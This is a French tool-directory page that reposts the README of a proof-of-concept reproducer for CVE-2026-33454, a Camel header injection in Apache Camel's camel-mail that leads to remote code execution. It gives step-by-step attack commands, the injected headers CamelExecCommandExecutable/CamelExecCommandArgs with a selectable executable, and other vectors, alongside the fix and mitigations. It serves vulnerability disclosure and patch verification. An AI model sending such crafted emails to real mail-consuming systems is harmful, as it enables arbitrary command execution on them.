Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33454 — Reproducteur pour CVE-2026-33454 : injection d'en-têtes camel-mail d'Apache Camel menant à une RCE via camel-exec | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-33454
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHuboscerd/cve-2026-33454

CVE-2026-33454

Reproducteur pour CVE-2026-33454 : injection d'en-têtes camel-mail d'Apache Camel menant à une RCE via camel-exec

Voir le dépôt
11il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-mail Injection d'en-têtes → Reproducteur de vulnérabilité RCE (CVE-2026-33454)

Ce projet démontre une vulnérabilité d'injection d'en-têtes de message Camel dans le composant camel-mail d'Apache Camel, référencée sous le nom CVE-2026-33454. Un attaquant capable de délivrer un e-mail à une boîte aux lettres surveillée par un consommateur mail Camel peut injecter des en-têtes de contrôle Camel* dans l'Exchange, permettant une exécution de code à distance lorsque la route transmet à un producteur sensible aux en-têtes tel que camel-exec.

Avis de sécurité : https://camel.apache.org/security/CVE-2026-33454.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-mail
Classe affectéeorg.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail)
Cause racineLa stratégie de filtre configure uniquement la direction OUT (setOutFilterStartsWith) et PAS la direction IN, de sorte que les en-têtes MIME entrants ne sont pas filtrés
CWECWE-20: Validation incorrecte des entrées (injection d'en-têtes de message Camel)
ImpactExécution de code à distance (via des producteurs sensibles aux en-têtes, p. ex. camel-exec)
Versions affectéesDe 3.0.0 avant 4.14.6, et de 4.15.0 avant 4.18.1
Versions corrigées4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
RapporteurHyunwoo Kim (@v4bel)

Détails techniques

MailHeaderFilterStrategy étend DefaultHeaderFilterStrategy. Dans les versions affectées, son constructeur configure uniquement le filtre out et ne définit jamais le filtre in :

root@kitploit:~
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT only
    // no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}

Lorsque Camel consomme du courrier (par exemple from("imap://...") ou from("pop3://...")), MailBinding.extractHeadersFromMail() copie chaque en-tête MIME dans les en-têtes In de l'Exchange, régulé par headerFilterStrategy.applyFilterToExternalHeaders(...). Comme le filtre in n'a jamais été configuré, les en-têtes MIME préfixés par Camel* passent directement :

root@kitploit:~
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

Un attaquant capable d'envoyer un e-mail à la boîte aux lettres surveillée peut donc définir des en-têtes de contrôle Camel* arbitraires. Lorsque la route transmet à un producteur sensible aux en-têtes tel que camel-exec, les en-têtes CamelExecCommandExecutable / CamelExecCommandArgs remplacent la commande (prises en compte par défaut dans les versions affectées) → exécution arbitraire de commandes OS.

La route de la victime

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);

Prérequis

  • Java 17+
  • Maven 3.8+
  • Docker (exécute le serveur mail)

Étapes de reproduction

Étape 1 : Démarrer le serveur mail (Docker)

Un conteneur GreenMail fournit SMTP (3025) et IMAP (3143) avec une seule boîte aux lettres (identifiant victim, mot de passe secret, adresse victim@localhost) :

root@kitploit:~
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

Étape 2 : Compiler et démarrer l'application

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Démarre la route victime IMAP et un contrôleur REST auxiliaire sur 8080.

Étape 3 : E-mail bénin (test de cohérence)

root@kitploit:~
curl http://localhost:8080/exploit/normal

Le consommateur le récupère et exécute echo hello.

Étape 4 : Attaque — délivrer un e-mail avec des en-têtes MIME Camel* injectés

root@kitploit:~
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

Ceci délivre un e-mail dont les en-têtes MIME incluent :

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

Étape 5 : Vérification

root@kitploit:~
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned

Si /tmp/pwned existe, l'en-tête MIME injecté a remplacé la commande exec → RCE.

Nettoyage

root@kitploit:~
docker compose down    # or: docker rm -f greenmail-cve

Vecteurs d'attaque

L'injection nécessite seulement un producteur sensible aux en-têtes en aval. L'avis de sécurité mentionne camel-bean, camel-exec et camel-sql ; plus largement :

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → exécution de commande OS
  • camel-file — CamelFileName → écriture de fichier arbitraire / traversée de chemin
  • camel-bean — CamelBeanMethodName → invoquer une autre méthode
  • camel-sql — en-têtes de contrôle de requête

Conditions d'exploitation

  1. Une route Camel consommant du courrier (imap://, imaps://, pop3://, ...).
  2. La route transmet à (ou est influencée par) un producteur sensible aux en-têtes.
  3. Aucun removeHeaders("Camel*") entre le consommateur mail et ce producteur.

L'attaquant a seulement besoin de pouvoir envoyer un e-mail à la boîte aux lettres surveillée.

Correctif recommandé

Le correctif (CAMEL-23222) configure également le filtre entrant :

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // now the inbound direction is filtered too
}

Atténuation

En attendant la mise à niveau :

  1. Supprimez les en-têtes Camel des messages issus du courrier : .removeHeaders("Camel*") juste après le from("imap:...").
  2. Évitez les producteurs sensibles aux en-têtes en aval d'un courrier non fiable, ou figez leur configuration.
  3. Restreignez les expéditeurs autorisés à délivrer des messages dans la boîte aux lettres surveillée.

Fichiers

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── MailExecRoute.java        # the vulnerable victim route (imap -> exec)
    │   └── ExploitController.java    # attacker: delivers the malicious email via SMTP
    └── resources/
        └── application.properties

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil